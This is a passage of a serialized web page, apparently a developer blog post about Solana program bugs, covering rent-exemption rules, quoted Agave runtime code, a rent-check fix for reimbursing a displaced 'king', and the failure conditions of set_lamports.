Trap",{"type":22,"tag":31,"props":1296,"children":1297},{},[1298,1300,1305],{"type":28,"value":1299},"On Solana, all accounts must maintain a ",{"type":22,"tag":74,"props":1301,"children":1302},{},[1303],{"type":28,"value":1304},"minimum balance",{"type":28,"value":1306}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":22,"tag":64,"props":1308,"children":1309},{},[1310,1326],{"type":22,"tag":68,"props":1311,"children":1312},{},[1313,1318,1320],{"type":22,"tag":74,"props":1314,"children":1315},{},[1316],{"type":28,"value":1317},"Uninitialized",{"type":28,"value":1319},": ",{"type":22,"tag":114,"props":1321,"children":1323},{"className":1322},[],[1324],{"type":28,"value":1325},"lamports = 0",{"type":22,"tag":68,"props":1327,"children":1328},{},[1329,1334,1335],{"type":22,"tag":74,"props":1330,"children":1331},{},[1332],{"type":28,"value":1333},"Initialized",{"type":28,"value":1319},{"type":22,"tag":114,"props":1336,"children":1338},{"className":1337},[],[1339],{"type":28,"value":1340},"lamports >= rent-exempt threshold",{"type":22,"tag":31,"props":1342,"children":1343},{},[1344,1346,1351],{"type":28,"value":1345},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":22,"tag":74,"props":1347,"children":1348},{},[1349],{"type":28,"value":1350},"account metadata",{"type":28,"value":1352}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":22,"tag":31,"props":1354,"children":1355},{},[1356,1358,1364],{"type":28,"value":1357},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":22,"tag":114,"props":1359,"children":1361},{"className":1360},[],[1362],{"type":28,"value":1363},"data.len() == 0",{"type":28,"value":1365}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":22,"tag":31,"props":1367,"children":1368},{},[1369,1371,1378],{"type":28,"value":1370},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":22,"tag":42,"props":1372,"children":1375},{"href":1373,"rel":1374},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[46],[1376],{"type":28,"value":1377},"here",{"type":28,"value":292},{"type":22,"tag":107,"props":1380,"children":1382},{"className":109,"code":1381,"language":111,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[1383],{"type":22,"tag":114,"props":1384,"children":1385},{"__ignoreMap":7},[1386,1475,1493,1542,1562,1583,1604,1621,1638,1683,1702,1723,1744,1760,1768,1804,1812,1820,1828,1836],{"type":22,"tag":118,"props":1387,"children":1388},{"class":120,"line":121},[1389,1394,1399,1403,1408,1413,1417,1422,1426,1431,1436,1440,1445,1449,1453,1457,1461,1465,1470],{"type":22,"tag":118,"props":1390,"children":1391},{"style":146},[1392],{"type":28,"value":1393},"    fn",{"type":22,"tag":118,"props":1395,"children":1396},{"style":532},[1397],{"type":28,"value":1398}," transition_allowed",{"type":22,"tag":118,"props":1400,"children":1401},{"style":125},[1402],{"type":28,"value":540},{"type":22,"tag":118,"props":1404,"children":1405},{"style":210},[1406],{"type":28,"value":1407},"&",{"type":22,"tag":118,"props":1409,"children":1410},{"style":146},[1411],{"type":28,"value":1412},"self",{"type":22,"tag":118,"props":1414,"children":1415},{"style":125},[1416],{"type":28,"value":231},{"type":22,"tag":118,"props":1418,"children":1419},{"style":204},[1420],{"type":28,"value":1421},"pre_rent_state",{"type":22,"tag":118,"props":1423,"children":1424},{"style":210},[1425],{"type":28,"value":213},{"type":22,"tag":118,"props":1427,"children":1428},{"style":210},[1429],{"type":28,"value":1430}," &",{"type":22,"tag":118,"props":1432,"children":1433},{"style":131},[1434],{"type":28,"value":1435},"RentState",{"type":22,"tag":118,"props":1437,"children":1438},{"style":125},[1439],{"type":28,"value":231},{"type":22,"tag":118,"props":1441,"children":1442},{"style":204},[1443],{"type":28,"value":1444},"post_rent_state",{"type":22,"tag":118,"props":1446,"children":1447},{"style":210},[1448],{"type":28,"value":213},{"type":22,"tag":118,"props":1450,"children":1451},{"style":210},[1452],{"type":28,"value":1430},{"type":22,"tag":118,"props":1454,"children":1455},{"style":131},[1456],{"type":28,"value":1435},{"type":22,"tag":118,"props":1458,"children":1459},{"style":125},[1460],{"type":28,"value":588},{"type":22,"tag":118,"props":1462,"children":1463},{"style":210},[1464],{"type":28,"value":593},{"type":22,"tag":118,"props":1466,"children":1467},{"style":131},[1468],{"type":28,"value":1469}," bool",{"type":22,"tag":118,"props":1471,"children":1472},{"style":125},[1473],{"type":28,"value":1474}," {\n",{"type":22,"tag":118,"props":1476,"children":1477},{"class":120,"line":142},[1478,1484,1489],{"type":22,"tag":118,"props":1479,"children":1481},{"style":1480},"--shiki-default:#C586C0",[1482],{"type":28,"value":1483},"        match",{"type":22,"tag":118,"props":1485,"children":1486},{"style":204},[1487],{"type":28,"value":1488}," post_rent_state",{"type":22,"tag":118,"props":1490,"children":1491},{"style":125},[1492],{"type":28,"value":1474},{"type":22,"tag":118,"props":1494,"children":1495},{"class":120,"line":177},[1496,1501,1505,1509,1514,1519,1523,1528,1533,1538],{"type":22,"tag":118,"props":1497,"children":1498},{"style":131},[1499],{"type":28,"value":1500},"            RentState",{"type":22,"tag":118,"props":1502,"children":1503},{"style":210},[1504],{"type":28,"value":1190},{"type":22,"tag":118,"props":1506,"children":1507},{"style":131},[1508],{"type":28,"value":1317},{"type":22,"tag":118,"props":1510,"children":1511},{"style":210},[1512],{"type":28,"value":1513}," |",{"type":22,"tag":118,"props":1515,"children":1516},{"style":131},[1517],{"type":28,"value":1518}," RentState",{"type":22,"tag":118,"props":1520,"children":1521},{"style":210},[1522],{"type":28,"value":1190},{"type":22,"tag":118,"props":1524,"children":1525},{"style":131},[1526],{"type":28,"value":1527},"RentExempt",{"type":22,"tag":118,"props":1529,"children":1530},{"style":210},[1531],{"type":28,"value":1532}," =>",{"type":22,"tag":118,"props":1534,"children":1535},{"style":146},[1536],{"type":28,"value":1537}," true",{"type":22,"tag":118,"props":1539,"children":1540},{"style":125},[1541],{"type":28,"value":782},{"type":22,"tag":118,"props":1543,"children":1544},{"class":120,"line":195},[1545,1549,1553,1558],{"type":22,"tag":118,"props":1546,"children":1547},{"style":131},[1548],{"type":28,"value":1500},{"type":22,"tag":118,"props":1550,"children":1551},{"style":210},[1552],{"type":28,"value":1190},{"type":22,"tag":118,"props":1554,"children":1555},{"style":131},[1556],{"type":28,"value":1557},"RentPaying",{"type":22,"tag":118,"props":1559,"children":1560},{"style":125},[1561],{"type":28,"value":1474},{"type":22,"tag":118,"props":1563,"children":1564},{"class":120,"line":244},[1565,1570,1574,1579],{"type":22,"tag":118,"props":1566,"children":1567},{"style":204},[1568],{"type":28,"value":1569},"                data_size",{"type":22,"tag":118,"props":1571,"children":1572},{"style":210},[1573],{"type":28,"value":213},{"type":22,"tag":118,"props":1575,"children":1576},{"style":204},[1577],{"type":28,"value":1578}," post_data_size",{"type":22,"tag":118,"props":1580,"children":1581},{"style":125},[1582],{"type":28,"value":782},{"type":22,"tag":118,"props":1584,"children":1585},{"class":120,"line":253},[1586,1591,1595,1600],{"type":22,"tag":118,"props":1587,"children":1588},{"style":204},[1589],{"type":28,"value":1590},"                lamports",{"type":22,"tag":118,"props":1592,"children":1593},{"style":210},[1594],{"type":28,"value":213},{"type":22,"tag":118,"props":1596,"children":1597},{"style":204},[1598],{"type":28,"value":1599}," post_lamports",{"type":22,"tag":118,"props":1601,"children":1602},{"style":125},[1603],{"type":28,"value":782},{"type":22,"tag":118,"props":1605,"children":1606},{"class":120,"line":263},[1607,1612,1617],{"type":22,"tag":118,"props":1608,"children":1609},{"style":125},[1610],{"type":28,"value":1611},"            } ",{"type":22,"tag":118,"props":1613,"children":1614},{"style":210},[1615],{"type":28,"value":1616},"=>",{"type":22,"tag":118,"props":1618,"children":1619},{"style":125},[1620],{"type":28,"value":1474},{"type":22,"tag":118,"props":1622,"children":1623},{"class":120,"line":318},[1624,1629,1634],{"type":22,"tag":118,"props":1625,"children":1626},{"style":1480},[1627],{"type":28,"value":1628},"                match",{"type":22,"tag":118,"props":1630,"children":1631},{"style":204},[1632],{"type":28,"value":1633}," pre_rent_state",{"type":22,"tag":118,"props":1635,"children":1636},{"style":125},[1637],{"type":28,"value":1474},{"type":22,"tag":118,"props":1639,"children":1640},{"class":120,"line":351},[1641,1646,1650,1654,1658,1662,1666,1670,1674,1679],{"type":22,"tag":118,"props":1642,"children":1643},{"style":131},[1644],{"type":28,"value":1645},"                    RentState",{"type":22,"tag":118,"props":1647,"children":1648},{"style":210},[1649],{"type":28,"value":1190},{"type":22,"tag":118,"props":1651,"children":1652},{"style":131},[1653],{"type":28,"value":1317},{"type":22,"tag":118,"props":1655,"children":1656},{"style":210},[1657],{"type":28,"value":1513},{"type":22,"tag":118,"props":1659,"children":1660},{"style":131},[1661],{"type":28,"value":1518},{"type":22,"tag":118,"props":1663,"children":1664},{"style":210},[1665],{"type":28,"value":1190},{"type":22,"tag":118,"props":1667,"children":1668},{"style":131},[1669],{"type":28,"value":1527},{"type":22,"tag":118,"props":1671,"children":1672},{"style":210},[1673],{"type":28,"value":1532},{"type":22,"tag":118,"props":1675,"children":1676},{"style":146},[1677],{"type":28,"value":1678}," false",{"type":22,"tag":118,"props":1680,"children":1681},{"style":125},[1682],{"type":28,"value":782},{"type":22,"tag":118,"props":1684,"children":1685},{"class":120,"line":359},[1686,1690,1694,1698],{"type":22,"tag":118,"props":1687,"children":1688},{"style":131},[1689],{"type":28,"value":1645},{"type":22,"tag":118,"props":1691,"children":1692},{"style":210},[1693],{"type":28,"value":1190},{"type":22,"tag":118,"props":1695,"children":1696},{"style":131},[1697],{"type":28,"value":1557},{"type":22,"tag":118,"props":1699,"children":1700},{"style":125},[1701],{"type":28,"value":1474},{"type":22,"tag":118,"props":1703,"children":1704},{"class":120,"line":368},[1705,1710,1714,1719],{"type":22,"tag":118,"props":1706,"children":1707},{"style":204},[1708],{"type":28,"value":1709},"                        data_size",{"type":22,"tag":118,"props":1711,"children":1712},{"style":210},[1713],{"type":28,"value":213},{"type":22,"tag":118,"props":1715,"children":1716},{"style":204},[1717],{"type":28,"value":1718}," pre_data_size",{"type":22,"tag":118,"props":1720,"children":1721},{"style":125},[1722],{"type":28,"value":782},{"type":22,"tag":118,"props":1724,"children":1725},{"class":120,"line":384},[1726,1731,1735,1740],{"type":22,"tag":118,"props":1727,"children":1728},{"style":204},[1729],{"type":28,"value":1730},"                        lamports",{"type":22,"tag":118,"props":1732,"children":1733},{"style":210},[1734],{"type":28,"value":213},{"type":22,"tag":118,"props":1736,"children":1737},{"style":204},[1738],{"type":28,"value":1739}," pre_lamports",{"type":22,"tag":118,"props":1741,"children":1742},{"style":125},[1743],{"type":28,"value":782},{"type":22,"tag":118,"props":1745,"children":1746},{"class":120,"line":417},[1747,1752,1756],{"type":22,"tag":118,"props":1748,"children":1749},{"style":125},[1750],{"type":28,"value":1751},"                    } ",{"type":22,"tag":118,"props":1753,"children":1754},{"style":210},[1755],{"type":28,"value":1616},{"type":22,"tag":118,"props":1757,"children":1758},{"style":125},[1759],{"type":28,"value":1474},{"type":22,"tag":118,"props":1761,"children":1762},{"class":120,"line":425},[1763],{"type":22,"tag":118,"props":1764,"children":1765},{"style":257},[1766],{"type":28,"value":1767},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":22,"tag":118,"props":1769,"children":1770},{"class":120,"line":441},[1771,1776,1781,1785,1790,1794,1799],{"type":22,"tag":118,"props":1772,"children":1773},{"style":204},[1774],{"type":28,"value":1775},"                        post_data_size",{"type":22,"tag":118,"props":1777,"children":1778},{"style":210},[1779],{"type":28,"value":1780}," ==",{"type":22,"tag":118,"props":1782,"children":1783},{"style":204},[1784],{"type":28,"value":1718},{"type":22,"tag":118,"props":1786,"children":1787},{"style":210},[1788],{"type":28,"value":1789}," &&",{"type":22,"tag":118,"props":1791,"children":1792},{"style":204},[1793],{"type":28,"value":1599},{"type":22,"tag":118,"props":1795,"children":1796},{"style":210},[1797],{"type":28,"value":1798}," \u003C=",{"type":22,"tag":118,"props":1800,"children":1801},{"style":204},[1802],{"type":28,"value":1803}," pre_lamports\n",{"type":22,"tag":118,"props":1805,"children":1806},{"class":120,"line":475},[1807],{"type":22,"tag":118,"props":1808,"children":1809},{"style":125},[1810],{"type":28,"value":1811},"                    }\n",{"type":22,"tag":118,"props":1813,"children":1814},{"class":120,"line":484},[1815],{"type":22,"tag":118,"props":1816,"children":1817},{"style":125},[1818],{"type":28,"value":1819},"                }\n",{"type":22,"tag":118,"props":1821,"children":1822},{"class":120,"line":492},[1823],{"type":22,"tag":118,"props":1824,"children":1825},{"style":125},[1826],{"type":28,"value":1827},"            }\n",{"type":22,"tag":118,"props":1829,"children":1830},{"class":120,"line":501},[1831],{"type":22,"tag":118,"props":1832,"children":1833},{"style":125},[1834],{"type":28,"value":1835},"        }\n",{"type":22,"tag":118,"props":1837,"children":1838},{"class":120,"line":519},[1839],{"type":22,"tag":118,"props":1840,"children":1841},{"style":125},[1842],{"type":28,"value":1254},{"type":22,"tag":31,"props":1844,"children":1845},{},[1846],{"type":28,"value":1847},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":22,"tag":107,"props":1849,"children":1853},{"className":1850,"code":1851,"language":1852,"meta":7,"style":7},"language-bash shiki shiki-themes slack-dark","solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n","bash",[1854],{"type":22,"tag":114,"props":1855,"children":1856},{"__ignoreMap":7},[1857,1875],{"type":22,"tag":118,"props":1858,"children":1859},{"class":120,"line":121},[1860,1864,1870],{"type":22,"tag":118,"props":1861,"children":1862},{"style":532},[1863],{"type":28,"value":17},{"type":22,"tag":118,"props":1865,"children":1867},{"style":1866},"--shiki-default:#CE9178",[1868],{"type":28,"value":1869}," rent",{"type":22,"tag":118,"props":1871,"children":1872},{"style":674},[1873],{"type":28,"value":1874}," 0\n",{"type":22,"tag":118,"props":1876,"children":1877},{"class":120,"line":142},[1878,1883,1888,1893],{"type":22,"tag":118,"props":1879,"children":1880},{"style":532},[1881],{"type":28,"value":1882},"Rent-exempt",{"type":22,"tag":118,"props":1884,"children":1885},{"style":1866},[1886],{"type":28,"value":1887}," minimum:",{"type":22,"tag":118,"props":1889,"children":1890},{"style":674},[1891],{"type":28,"value":1892}," 0.00089088",{"type":22,"tag":118,"props":1894,"children":1895},{"style":1866},[1896],{"type":28,"value":1897}," SOL\n",{"type":22,"tag":1899,"props":1900,"children":1902},"h4",{"id":1901},"fix-1-only-reimburse-if-rent-exempt",[1903],{"type":28,"value":1904},"Fix 1: Only Reimburse if Rent-Exempt",{"type":22,"tag":31,"props":1906,"children":1907},{},[1908],{"type":28,"value":1909},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":22,"tag":107,"props":1911,"children":1915},{"className":1912,"code":1913,"language":1914,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n","diff",[1916],{"type":22,"tag":114,"props":1917,"children":1918},{"__ignoreMap":7},[1919,1927,1935,1943,1951,1959,1967,1975,1983,1991],{"type":22,"tag":118,"props":1920,"children":1921},{"class":120,"line":121},[1922],{"type":22,"tag":118,"props":1923,"children":1924},{"style":125},[1925],{"type":28,"value":1926},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":22,"tag":118,"props":1928,"children":1929},{"class":120,"line":142},[1930],{"type":22,"tag":118,"props":1931,"children":1932},{"style":674},[1933],{"type":28,"value":1934},"+let rent = Rent::get()?;\n",{"type":22,"tag":118,"props":1936,"children":1937},{"class":120,"line":177},[1938],{"type":22,"tag":118,"props":1939,"children":1940},{"style":674},[1941],{"type":28,"value":1942},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":22,"tag":118,"props":1944,"children":1945},{"class":120,"line":195},[1946],{"type":22,"tag":118,"props":1947,"children":1948},{"style":674},[1949],{"type":28,"value":1950},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":22,"tag":118,"props":1952,"children":1953},{"class":120,"line":244},[1954],{"type":22,"tag":118,"props":1955,"children":1956},{"style":125},[1957],{"type":28,"value":1958},"    transfer_from_pda(\n",{"type":22,"tag":118,"props":1960,"children":1961},{"class":120,"line":253},[1962],{"type":22,"tag":118,"props":1963,"children":1964},{"style":125},[1965],{"type":28,"value":1966},"        &ctx.accounts.throne.to_account_info(),\n",{"type":22,"tag":118,"props":1968,"children":1969},{"class":120,"line":263},[1970],{"type":22,"tag":118,"props":1971,"children":1972},{"style":125},[1973],{"type":28,"value":1974},"        &ctx.accounts.old_king,\n",{"type":22,"tag":118,"props":1976,"children":1977},{"class":120,"line":318},[1978],{"type":22,"tag":118,"props":1979,"children":1980},{"style":125},[1981],{"type":28,"value":1982},"        to_reimburse,\n",{"type":22,"tag":118,"props":1984,"children":1985},{"class":120,"line":351},[1986],{"type":22,"tag":118,"props":1987,"children":1988},{"style":125},[1989],{"type":28,"value":1990},"    )?;\n",{"type":22,"tag":118,"props":1992,"children":1993},{"class":120,"line":359},[1994],{"type":22,"tag":118,"props":1995,"children":1996},{"style":674},[1997],{"type":28,"value":1998},"+}\n",{"type":22,"tag":31,"props":2000,"children":2001},{},[2002],{"type":28,"value":2003},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":22,"tag":1289,"props":2005,"children":2007},{"id":2006},"bug-2-writable-but-untouchable-set_lamports-fails",[2008,2010,2016],{"type":28,"value":2009},"Bug 2: Writable but Untouchable — ",{"type":22,"tag":114,"props":2011,"children":2013},{"className":2012},[],[2014],{"type":28,"value":2015},"set_lamports",{"type":28,"value":2017}," Fails",{"type":22,"tag":31,"props":2019,"children":2020},{},[2021,2023,2030],{"type":28,"value":2022},"Let's look at ",{"type":22,"tag":42,"props":2024,"children":2027},{"href":2025,"rel":2026},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[46],[2028],{"type":28,"value":2029},"BorrowedAccount::set_lamports",{"type":28,"value":292},{"type":22,"tag":107,"props":2032,"children":2034},{"className":109,"code":2033,"language":111,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[2035],{"type":22,"tag":114,"props":2036,"children":2037},{"__ignoreMap":7},[2038,2046,2068,2144,2152,2216,2250,2257,2265,2293,2325,2332,2340,2364,2396,2403,2411,2446,2463,2470,2499,2535,2547,2554,2561,2569,2588,2596,2637,2650,2663,2675,2709],{"type":22,"tag":118,"props":2039,"children":2040},{"class":120,"line":121},[2041],{"type":22,"tag":118,"props":2042,"children":2043},{"style":257},[2044],{"type":28,"value":2045},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":22,"tag":118,"props":2047,"children":2048},{"class":120,"line":142},[2049,2054,2058,2063],{"type":22,"tag":118,"props":2050,"children":2051},{"style":125},[2052],{"type":28,"value":2053},"#[cfg(not(target_os ",{"type":22,"tag":118,"props":2055,"children":2056},{"style":210},[2057],{"type":28,"value":282},{"type":22,"tag":118,"props":2059,"children":2060},{"style":1866},[2061],{"type":28,"value":2062}," \"solana\"",{"type":22,"tag":118,"props":2064,"children":2065},{"style":125},[2066],{"type":28,"value":2067},"))]\n",{"type":22,"tag":118,"props":2069,"children":2070},{"class":120,"line":177},[2071,2075,2079,2084,2088,2092,2096,2101,2105,2110,2114,2118,2122,2126,2130,2135,2140],{"type":22,"tag":118,"props":2072,"children":2073},{"style":146},[2074],{"type":28,"value":149},{"type":22,"tag":118,"props":2076,"children":2077},{"style":146},[2078],{"type":28,"value":529},{"type":22,"tag":118,"props":2080,"children":2081},{"style":532},[2082],{"type":28,"value":2083}," set_lamports",{"type":22,"tag":118,"props":2085,"children":2086},{"style":125},[2087],{"type":28,"value":540},{"type":22,"tag":118,"props":2089,"children":2090},{"style":210},[2091],{"type":28,"value":1407},{"type":22,"tag":118,"props":2093,"children":2094},{"style":146},[2095],{"type":28,"value":188},{"type":22,"tag":118,"props":2097,"children":2098},{"style":146},[2099],{"type":28,"value":2100}," self",{"type":22,"tag":118,"props":2102,"children":2103},{"style":125},[2104],{"type":28,"value":231},{"type":22,"tag":118,"props":2106,"children":2107},{"style":204},[2108],{"type":28,"value":2109},"lamports",{"type":22,"tag":118,"props":2111,"children":2112},{"style":210},[2113],{"type":28,"value":213},{"type":22,"tag":118,"props":2115,"children":2116},{"style":131},[2117],{"type":28,"value":583},{"type":22,"tag":118,"props":2119,"children":2120},{"style":125},[2121],{"type":28,"value":588},{"type":22,"tag":118,"props":2123,"children":2124},{"style":210},[2125],{"type":28,"value":593},{"type":22,"tag":118,"props":2127,"children":2128},{"style":131},[2129],{"type":28,"value":598},{"type":22,"tag":118,"props":2131,"children":2132},{"style":125},[2133],{"type":28,"value":2134},"\u003C(), ",{"type":22,"tag":118,"props":2136,"children":2137},{"style":131},[2138],{"type":28,"value":2139},"InstructionError",{"type":22,"tag":118,"props":2141,"children":2142},{"style":125},[2143],{"type":28,"value":174},{"type":22,"tag":118,"props":2145,"children":2146},{"class":120,"line":195},[2147],{"type":22,"tag":118,"props":2148,"children":2149},{"style":257},[2150],{"type":28,"value":2151},"    // An account not owned by the program cannot have its balance decrease\n",{"type":22,"tag":118,"props":2153,"children":2154},{"class":120,"line":244},[2155,2160,2165,2169,2173,2178,2183,2188,2193,2198,2202,2206,2211],{"type":22,"tag":118,"props":2156,"children":2157},{"style":1480},[2158],{"type":28,"value":2159},"    if",{"type":22,"tag":118,"props":2161,"children":2162},{"style":210},[2163],{"type":28,"value":2164}," !",{"type":22,"tag":118,"props":2166,"children":2167},{"style":146},[2168],{"type":28,"value":1412},{"type":22,"tag":118,"props":2170,"children":2171},{"style":210},[2172],{"type":28,"value":292},{"type":22,"tag":118,"props":2174,"children":2175},{"style":532},[2176],{"type":28,"value":2177},"is_owned_by_current_program",{"type":22,"tag":118,"props":2179,"children":2180},{"style":125},[2181],{"type":28,"value":2182},"() ",{"type":22,"tag":118,"props":2184,"children":2185},{"style":210},[2186],{"type":28,"value":2187},"&&",{"type":22,"tag":118,"props":2189,"children":2190},{"style":204},[2191],{"type":28,"value":2192}," lamports",{"type":22,"tag":118,"props":2194,"children":2195},{"style":210},[2196],{"type":28,"value":2197}," \u003C",{"type":22,"tag":118,"props":2199,"children":2200},{"style":146},[2201],{"type":28,"value":2100},{"type":22,"tag":118,"props":2203,"children":2204},{"style":210},[2205],{"type":28,"value":292},{"type":22,"tag":118,"props":2207,"children":2208},{"style":532},[2209],{"type":28,"value":2210},"get_lamports",{"type":22,"tag":118,"props":2212,"children":2213},{"style":125},[2214],{"type":28,"value":2215},"() {\n",{"type":22,"tag":118,"props":2217,"children":2218},{"class":120,"line":253},[2219,2224,2229,2233,2237,2241,2246],{"type":22,"tag":118,"props":2220,"children":2221},{"style":1480},[2222],{"type":28,"value":2223},"        return",{"type":22,"tag":118,"props":2225,"children":2226},{"style":131},[2227],{"type":28,"value":2228}," Err",{"type":22,"tag":118,"props":2230,"children":2231},{"style":125},[2232],{"type":28,"value":540},{"type":22,"tag":118,"props":2234,"children":2235},{"style":131},[2236],{"type":28,"value":2139},{"type":22,"tag":118,"props":2238,"children":2239},{"style":210},[2240],{"type":28,"value":1190},{"type":22,"tag":118,"props":2242,"children":2243},{"style":131},[2244],{"type":28,"value":2245},"ExternalAccountLamportSpend",{"type":22,"tag":118,"props":2247,"children":2248},{"style":125},[2249],{"type":28,"value":682},{"type":22,"tag":118,"props":2251,"children":2252},{"class":120,"line":263},[2253],{"type":22,"tag":118,"props":2254,"children":2255},{"style":125},[2256],{"type":28,"value":1254},{"type":22,"tag":118,"props":2258,"children":2259},{"class":120,"line":318},[2260],{"type":22,"tag":118,"props":2261,"children":2262},{"style":257},[2263],{"type":28,"value":2264},"    // The balance of read-only may not change\n",{"type":22,"tag":118,"props":2266,"children":2267},{"class":120,"line":351},[2268,2272,2276,2280,2284,2289],{"type":22,"tag":118,"props":2269,"children":2270},{"style":1480},[2271],{"type":28,"value":2159},{"type":22,"tag":118,"props":2273,"children":2274},{"style":210},[2275],{"type":28,"value":2164},{"type":22,"tag":118,"props":2277,"children":2278},{"style":146},[2279],{"type":28,"value":1412},{"type":22,"tag":118,"props":2281,"children":2282},{"style":210},[2283],{"type":28,"value":292},{"type":22,"tag":118,"props":2285,"children":2286},{"style":532},[2287],{"type":28,"value":2288},"is_writable",{"type":22,"tag":118,"props":2290,"children":2291},{"style":125},[2292],{"type":28,"value":2215},{"type":22,"tag":118,"props":2294,"children":2295},{"class":120,"line":359},[2296,2300,2304,2308,2312,2316,2321],{"type":22,"tag":118,"props":2297,"children":2298},{"style":1480},[2299],{"type":28,"value":2223},{"type":22,"tag":118,"props":2301,"children":2302},{"style":131},[2303],{"type":28,"value":2228},{"type":22,"tag":118,"props":2305,"children":2306},{"style":125},[2307],{"type":28,"value":540},{"type":22,"tag":118,"props":2309,"children":2310},{"style":131},[2311],{"type":28,"value":2139},{"type":22,"tag":118,"props":2313,"children":2314},{"style":210},[2315],{"type":28,"value":1190},{"type":22,"tag":118,"props":2317,"children":2318},{"style":131},[2319],{"type":28,"value":2320},"ReadonlyLamportChange",{"type":22,"tag":118,"props":2322,"children":2323},{"style":125},[2324],{"type":28,"value":682},{"type":22,"tag":118,"props":2326,"children":2327},{"class":120,"line":368},[2328],{"type":22,"tag":118,"props":2329,"children":2330},{"style":125},[2331],{"type":28,"value":1254},{"type":22,"tag":118,"props":2333,"children":2334},{"class":120,"line":384},[2335],{"type":22,"tag":118,"props":2336,"children":2337},{"style":257},[2338],{"type":28,"value":2339},"    // The balance of executable accounts may not change\n",{"type":22,"tag":118,"props":2341,"children":2342},{"class":120,"line":417},[2343,2347,2351,2355,2360],{"type":22,"tag":118,"props":2344,"children":2345},{"style":1480},[2346],{"type":28,"value":2159},{"type":22,"tag":118,"props":2348,"children":2349},{"style":146},[2350],{"type":28,"value":2100},{"type":22,"tag":118,"props":2352,"children":2353},{"style":210},[2354],{"type":28,"value":292},{"type":22,"tag":118,"props":2356,"children":2357},{"style":532},[2358],{"type":28,"value":2359},"is_executable_internal",{"type":22,"tag":118,"props":2361,"children":2362},{"style":125},[2363],{"type":28,"value":2215},{"type":22,"tag":118,"props":2365,"children":2366},{"class":120,"line":425},[2367,2371,2375,2379,2383,2387,2392],{"type":22,"tag":118,"props":2368,"children":2369},{"style":1480},[2370],{"type":28,"value":2223},{"type":22,"tag":118,"props":2372,"children":2373},{"style":131},[2374],{"type":28,"value":2228},{"type":22,"tag":118,"props":2376,"children":2377},{"style":125},[2378],{"type":28,"value":540},{"type":22,"tag":118,"props":2380,"children":2381},{"style":131},[2382],{"type":28,"value":2139},{"type":22,"tag":118,"props":2384,"children":2385},{"style":210},[2386],{"type":28,"value":1190},{"type":22,"tag":118,"props":2388,"children":2389},{"style":131},[2390],{"type":28,"value":2391},"ExecutableLamportChange",{"type":22,"tag":118,"props":2393,"children":2394},{"style":125},[2395],{"type":28,"value":682},{"type":22,"tag":118,"props":2397,"children":2398},{"class":120,"line":441},[2399],{"type":22,"tag":118,"props":2400,"children":2401},{"style":125},[2402],{"type":28,"value":1254},{"type":22,"tag":118,"props":2404,"children":2405},{"class":120,"line":475},[2406],{"type":22,"tag":118,"props":2407,"children":2408},{"style":257},[2409],{"type":28,"value":2410},"    // don't touch the account if the lamports do not 